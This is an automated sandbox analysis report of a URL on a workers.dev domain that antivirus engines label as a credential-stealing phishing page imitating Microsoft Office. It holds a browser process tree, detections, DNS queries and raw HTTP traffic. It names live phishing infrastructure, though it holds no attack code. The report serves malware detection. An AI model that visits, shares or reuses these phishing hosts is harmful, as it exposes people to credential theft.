Edit tour

Windows Analysis Report
https://cloudsss-c367.iardainwkasn.workers.dev/

Overview

General Information

Sample URL:	https://cloudsss-c367.iardainwkasn.workers.dev/
Analysis ID:	1433048
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Found HTTP page in a blob

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3652 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2508,i,4636836188414927447,16714986205037523390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6288 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:/// MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2012,i,7318852608262930220,3834524874699914710,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:/// MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=2040,i,5691023156427360077,958641003672475286,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudsss-c367.iardainwkasn.workers.dev/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://cloudsss-c367.iardainwkasn.workers.dev/	Avira URL Cloud: detection malicious, Label: phishing
Source: https://cloudsss-c367.iardainwkasn.workers.dev/	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Multi AV Scanner detection for submitted file

Source: https://cloudsss-c367.iardainwkasn.workers.dev/

Virustotal: Detection: 17%

Perma Link

Phishing

Found HTTP page in a blob

Source: blob:https://cloudsss-c367.iardainwkasn.workers.dev/dac3b7a0-1876-4093-980e-615a0cd9fbe2

DOM page: Blob-based

Source: unknown	HTTPS traffic detected: 104.78.251.135:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.78.251.135:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.4:49796 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 53MB

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 104.78.251.135
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: cloudsss-c367.iardainwkasn.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgRRtT5aGNLGu7EGIjCwe3OWMlIbLrAaFHz9bvBUAhQ2bwb0oNT6lyHHBU6jhTnQlT54q8_GMSgQOnJ4LlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-04-29-00; NID=513=b1lO-f-72vb71R_iB0PvLZ95OpOa_OyCnRx8naX63kFm-D_bz42Rh6w6fd9gQvAqhYFxAvqcY6MgZtOqoObMTBfpKttkXy9frNXmKib1Kj9Q0W3pEcvTM301pE72Owd1KzsTCC-pJxCQY2swZejBc3F50qzqHlKqoEx2h0Vs92U
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRRtT5aGNPGu7EGIjD378IR4LJm1qYyyyfU-OncloSsy8H8q9nJ76n0GA5ReGEW23--dpcDluNgBDGYfjwyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-04-29-00; NID=513=XtjMmH6JM8nzC8nN-k-2-T6gqx5KoLKajDuKXMsYvpBwE2kkFgZEPLcfZNUZ_eMWlr8Y3ZHtm5h5UvcTTNHAR5rLvbTq5F2F0m43MEvfOiRShH42emm_Ird4Id3OAHGMJ2RLHMwKWe7tfhvJAJDSN347uk9CsyTGVXdN_WXpKXw
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRRtT5aGNPGu7EGIjCTBdbxyyM3ZqJf3EonG_zCUB-Pw1QHWLoitfdBvEn-JTC53TE7YFIDf4y0FkKW9oMyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-04-29-00; NID=513=mUDkWxDR2WwRbHyVRxntCwSUaPcXEMYmu50FK7E9NWmA30rkCvr7Z3tiL5WY0MxSM5ptz6AxfLh8xEiOEPkw9NRMDh2RYGkbuI712vvNmA90yaf-sOl2w_WFgPOvyJa8RfaK2ykWIuCIqx7aFiFwJCH8C8V4PNBgvzkiqKlFUg0
Source: global traffic	HTTP traffic detected: GET /jquery-3.4.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudsss-c367.iardainwkasn.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cloudsss-c367.iardainwkasn.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cloudsss-c367.iardainwkasn.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /general-style.css HTTP/1.1Host: hiirscktcy.web.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cloudsss-c367.iardainwkasn.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cloudsss-c367.iardainwkasn.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background-2.png HTTP/1.1Host: hiirscktcy.web.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /init-background.jpeg HTTP/1.1Host: hiirscktcy.web.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=v+RVTz3dGX2WkHN&MD=WXG9zNre HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /very-thumbnail/2021/09/Outlook-icon-on-transparent-background-PNG.png HTTP/1.1Host: image.similarpng.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /picdir/middle/80-804103_office-365-is-securable-but-not-secure-microsoft.png HTTP/1.1Host: www.pinclipart.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /20180327/wfq/kisspng-microsoft-office-365-office-online-computer-softwa-office-5abb01d66a0b39.1638325715222051424344.jpg HTTP/1.1Host: img2.pngdownload.idConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background-2.png HTTP/1.1Host: hiirscktcy.web.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /picdir/middle/80-804103_office-365-is-securable-but-not-secure-microsoft.png HTTP/1.1Host: www.pinclipart.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /very-thumbnail/2021/09/Outlook-icon-on-transparent-background-PNG.png HTTP/1.1Host: image.similarpng.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=AbOvQQV3UiJ5GXNC36BkMdW5TFY9QpdxtBK3OO3Hawk-1714348898-1.0.1.1-Dj8492r8f21t6xyh9JyPA1VJVTsdCZrzr3lLshorXAtFCRt9wDoxx8pd.ybG8fJiAYQvQFyCR4aCtD1iWloGaQ
Source: global traffic	HTTP traffic detected: GET /init-background.jpeg HTTP/1.1Host: hiirscktcy.web.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /20180327/wfq/kisspng-microsoft-office-365-office-online-computer-softwa-office-5abb01d66a0b39.1638325715222051424344.jpg HTTP/1.1Host: img2.pngdownload.idConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=v+RVTz3dGX2WkHN&MD=WXG9zNre HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cloudsss-c367.iardainwkasn.workers.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: kit.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: hiirscktcy.web.app
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.pinclipart.com
Source: global traffic	DNS traffic detected: DNS query: ka-f.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: image.similarpng.com
Source: global traffic	DNS traffic detected: DNS query: img2.pngdownload.id
Source: global traffic	DNS traffic detected: DNS query: blobs.officehome.msocdn.com

Source: chromecache_76.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_98.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.4.1.min.js
Source: chromecache_83.2.dr, chromecache_86.2.dr, chromecache_87.2.dr, chromecache_79.2.dr, chromecache_78.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_83.2.dr, chromecache_86.2.dr, chromecache_87.2.dr, chromecache_79.2.dr, chromecache_78.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_80.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6o3ms.woff2
Source: chromecache_80.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.wo
Source: chromecache_80.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.wo
Source: chromecache_100.2.dr, chromecache_97.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_100.2.dr, chromecache_97.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_100.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_101.2.dr	String found in binary or memory: https://ka-f.fontawesome.com
Source: chromecache_101.2.dr	String found in binary or memory: https://kit.fontawesome.com

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
